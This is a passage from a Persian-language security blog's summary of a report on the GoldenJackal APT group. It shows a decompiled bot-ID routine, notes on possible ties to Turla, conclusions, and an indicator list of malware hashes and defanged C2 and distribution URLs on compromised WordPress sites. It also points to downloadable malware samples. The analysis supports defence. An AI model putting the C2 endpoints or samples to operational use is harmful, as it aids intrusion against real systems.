  byte[] bytes = BitConverter.GetBytes(parameter_class.unique_pc_identifier);
  byte[] array = MD5.Create().ComputeHash(get_bytes_wrapper(string_0));
for (int i = 0; i < array.Length; i++) {
    byte[] array2 = array;
    int num = i;
    array2[num] ^= bytes[i % bytes.Length];
  }
  return new Guid(array);
}

 

JackalControl هم که از طریق کد زیر ، همونطور که بالا اشاره شد، BOT_ID رو بدست میاره:

 

الگوریتم BOT_ID

 

همچنین توسعه ابزار در دات نت و با استفاده از سایتهای هک شده وردپرسی ، یه TTP برای Turla هستش.

همچنین این گروهها به اهداف مشترکی علاقمند هستن از جمله اینکه در یکی از قربانی ها ، سیستم قبل از آلوده شدن با GoldenJackal ، دو ماه قبلتر با بدافزارهای Turla آلوده شده بود.

با این شباهت ها، محققا با اطمینان کم بین دو این گروه ارتباطی میبینن. چون استفاده از سایتهای هک شده وردپرسی ، TTP منحصر به فرد نیست و توسط سایر APTها، از جمله BlackShadow که در خاورمیانه هم فعالیت داره و از دات نت استفاده میکنه هم ، استفاده شده. شباهت کد هم میشه با یه دیکامپایلر دات نتی از نمونه های Turla استخراج کرد. شایدم این گروه خواسته آدرس اشتباه به محققین بده و شایدم کارهای Turla الهام بخش GoldenJackal هستش.

اهداف مشترک هم میشه اینجوری در نظر گرفت که ، قربانی ها از سطح بالایی برخودارن و مورد علاقه گروههای مختلف هستن.

 

نتیجه گیری :

GoldenJackal یه بازیگر APT هستش که سعی میکنه فعالیتهای خودش پنهون نگه داره و احتمالا فعالیتشون از ژوئن 2019 ، شروع شده، اما با این وجود زیاد شناخته شده نیستن.

این گروه با محدود کردن تعداد قربانیان ، فعالیتهاش محدود میکنه تا زیاد تو چشم نباشه. با این اهداف کم، بیشتر قربانیان نهادهای دولتی و دیپلماتیک در خاورمیانه بودن. همچنین برخی نمونه ها روی سیستم هایی مستقر شدن که، روشون کسپرسکی نبوده، احتمالا به این دلیل که بازیگر میخواد از برخی از ابزارهاش محافظت کنه و از برخی محصولات امنیتی اجتناب میکنه.

ابزارهای اونا در حال توسعه هستش. آخرین نسخه JackalWorm مربوط به نیمه دوم 2022 هستش که به نظر در حال توسعه و تست هست. این ابزار به دلیل اینکه امکان اتصال سختی داره و به راحتی میتونه از کنترل خارج بشه، برای محققین جالب بوده.

 

نمونه فایل:

برای تحلیل و آنالیز و تمرین بیشتر، میتونید دو نمونه از بدافزارهای موجود در این گزارش که مرتبط با تروجان JackalControl هستش رو از صفحه گیتهابمون دانلود کنید.

 

IOCهای گزارش :

 

MD5 hashes

JackalControl
5ed498f9ad6e74442b9b6fe289d9feb3
a5ad15a9115a60f15b7796bc717a471d
c6e5c8bd7c066008178bc1fb19437763
4f041937da7748ebf6d0bbc44f1373c9
eab4f3a69b2d30b16df3d780d689794c
8c1070f188ae87fba1148a3d791f2523

JackalSteal
c05999b9390a3d8f4086f6074a592bc2

JackalWorm
5de309466b2163958c2e12c7b02d8384

JackalPerInfo
a491aefb659d2952002ef20ae98d7465

JackalScreenWatcher
1072bfeee89e369a9355819ffa39ad20
Legitimate compromised websites

JackalControl C2
hxxp://abert-online[.]de/meeting/plugins[.]php
hxxp://acehigh[.]host/robotx[.]php
hxxp://assistance[.]uz/admin/plugins[.]php
hxxp://cnom[.]sante[.]gov[.]ml/components/com_avreloaded/views/popup/tmpl/header[.]php
hxxp://info[.]merysof[.]am/plugins/search/content/plugins[.]php
hxxp://invest[.]zyrardow[.]pl/admin/model/setting/plugins[.]php
hxxp://weblines[.]gr/gallery/gallery_input[.]php
hxxp://www[.]wetter-bild[.]de/plugins[.]php
hxxps://ajapnyakmc[.]com/wp-content/cache/index[.]php
hxxps://asusiran[.]com/wp-content/plugins/persian-woocommerce/include/class-cache[.]php
hxxps://asusiran[.]com/wp-content/themes/woodmart/inc/modules/cache[.]php
hxxps://croma[.]vn/wp-content/themes/croma/template-parts/footer[.]php
hxxps://den-photomaster[.]kz/wp-track[.]php
hxxps://eyetelligence[.]ai/wp-content/themes/cms/inc/template-parts/footer[.]php
hxxps://finasteridehair[.]com/wp-includes/class-wp-network-statistics[.]php
hxxps://gradaran[.]be/wp-content/themes/tb-sound/inc/footer[.]php
hxxps://mehrganhospital[.]com/wp-includes/class-wp-tax-system[.]php
hxxps://meukowcognac[.]com/wp-content/themes/astra/page-flags[.]php
hxxps://nassiraq[.]iq/wp-includes/class-wp-header-styles[.]php
hxxps://new[.]jmcashback[.]com/wp-track[.]php
hxxps://news[.]lmond[.]com/wp-content/themes/newsbook/inc/footer[.]php
hxxps://pabalochistan[.]gov[.]pk/new/wp-content/cache/functions[.]php
hxxps://pabalochistan[.]gov[.]pk/new/wp-content/themes/dt-the7/inc/cache[.]php
hxxps://pabalochistan[.]gov[.]pk/new/wp-content/themes/twentyfifteen/content-manager[.]php
hxxps://sbj-i[.]com/wp-content/plugins/wp-persian/includes/class-wp-cache[.]php
hxxps://sbj-i[.]com/wp-content/themes/hamyarwp-spacious/cache[.]php
hxxps://sokerpower[.]com/wp-includes/class-wp-header-styles[.]php
hxxps://technocometsolutions[.]com/wp-content/themes/seofy/templates-sample[.]php
hxxps://www[.]djstuff[.]fr/wp-content/themes/twentyfourteen/inc/footer[.]php
hxxps://www[.]perlesoie[.]com/wp-content/plugins/contact-form-7/includes/cache[.]php
hxxps://www[.]perlesoie[.]com/wp-content/themes/flatsome/inc/classes/class-flatsome-cache[.]php

JackalSteal/JackalScreenWatcher C2
hxxps://tahaherbal[.]ir/wp-includes/class-wp-http-iwr-client.php
hxxps://winoptimum[.]com/wp-includes/customize/class-wp-customize-sidebar-refresh.php

Distribution websites
hxxps://www[.]pak-developers[.]net/internal_data/templates/template.html
hxxps://www[.]pak-developers[.]net/internal_data/templates/bottom.jpg

 

 

منبع

 

 

اشتراک در شبکه های اجتماعی :

Facebook
Twitter
Pinterest
LinkedIn
In آنالیز بدافزار اخبار بازیگران تهدید مقالاتIn APT , BlackShadow , Follina , IT_BrowseForFile , JackalControl , JackalPerInfo , JackalScreenWatcher , JackalSteal , JackalWorm , kaspersky , Kazuar , PHYSICALDRIVE0 , psexec , remote template injection , runkey , scheduled task , Turla , Windows sc.exe , wmi , تروجان , رجیستری , کسپرسکی , وردپرس

راهبری نوشته

پادکست Bluehat
بررسی آسیب پذیری های مهم،20 تا 26 مه در پلتفرم ZDI

دیدگاهتان را بنویسید لغو پاسخ

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

دسته‌ها

  • Osint
  • آسیب پذیری امنیتی
  • آموزش های ویدیویی
  • آنالیز بدافزار
  • اخبار
  • افشای اطلاعات
  • امنیت وب
  • انتشارات
  • اینترنت اشیاء
  • بازیگران تهدید
  • باگ بانتی
  • پادکست
  • پروژه ها
  • توسعه اکسپلویت
  • تیم آبی
  • تیم قرمز
  • دوره های آموزشی
  • فازینگ
  • کنفرانس ،دوره ، وبینار ، لایو ، CTF
  • لیست های ویژه
  • ماشین آسیب پذیر
  • مجله
  • مقالات
  • مهندسی معکوس نرم افزار

بایگانی‌ها

  • می 2025
  • آوریل 2025
  • مارس 2025
  • فوریه 2025
  • ژانویه 2025
  • دسامبر 2024
  • نوامبر 2024
  • اکتبر 2024
  • سپتامبر 2024
  • آگوست 2024
  • جولای 2024
  • ژوئن 2024
  • می 2024
  • آوریل 2024
  • مارس 2024
  • فوریه 2024
  • ژانویه 2024
  • دسامبر 2023
  • نوامبر 2023
  • اکتبر 2023
  • سپتامبر 2023
  • آگوست 2023
  • جولای 2023
  • ژوئن 2023
  • می 2023
  • آوریل 2023
  • مارس 2023
  • فوریه 2023
  • ژانویه 2023
  • دسامبر 2022

پست های مرتبط

  • اخبار
  • کنفرانس ،دوره ، وبینار ، لایو ، CTF
seyyid
On خرداد 17, 1402خرداد 18, 1402

چالش Hack-A-Sat 4 با هک یه ماهواره واقعی

  • آنالیز بدافزار
  • اخبار
  • بازیگران تهدید
seyyid
On شهریور 9, 1402شهریور 10, 1402

عملیات شکار اردک : حذف QakBot

  • آسیب پذیری امنیتی
  • اخبار
seyyid
On بهمن 5, 1401فروردین 28, 1402

اصلاح 4 آسیب پذیری در VMware vRealize Log Insight

  • آسیب پذیری امنیتی
  • اخبار
  • باگ بانتی
seyyid
On خرداد 3, 1402تیر 25, 1403

برنامه باگ بانتی گوگل برای برنامه های موبایل

درباره ما

بعد از چندین سال فعالیت تو حوزه امنیت سایبری و تولید محتوا در شبکه های اجتماعی ، بالاخره تصمیم گرفتیم تا یه سایت راه اندازی کنیم و مطالب رو ساده تر ، در یک محیط منسجم و طبقه بندی شده به دست مخاطب برسونیم. امیدوارم که قدمی در راستای رشد امنیت سایبری کشورمون برداشته باشیم.

تگ ها

0day APT command injection Deserialization of Untrusted Data Directory Traversal FBI Fortinet Heap buffer overflow integer overflow kali LockBit Memory Corruption nuclei Off By One Security out-of-bounds write Out of bounds read Patch Tuesday PWN2OWN Stack Buffer overflow type confusion use after free vulnerable wordpress XSS ZDI vulnerability آموزش اکسپلویت نویسی ارز دیجیتال اندروید اپل اکسپلویت باج افزار تلگرام زیرودی سیسکو فارنزیک فورتی نت فیشینگ لاک بیت مایکروسافت هوش مصنوعی وردپرس وردپرس آسیب پذیر ویندوز پلاگین کروم گوگل

شبکه های اجتماعی

    • Instagram
    • Telegram
    • Twitter
    • GitHub
    • YouTube
    • LinkedIn
      کپی مطالب با ذکر منبع بلامانع است | 1401-1404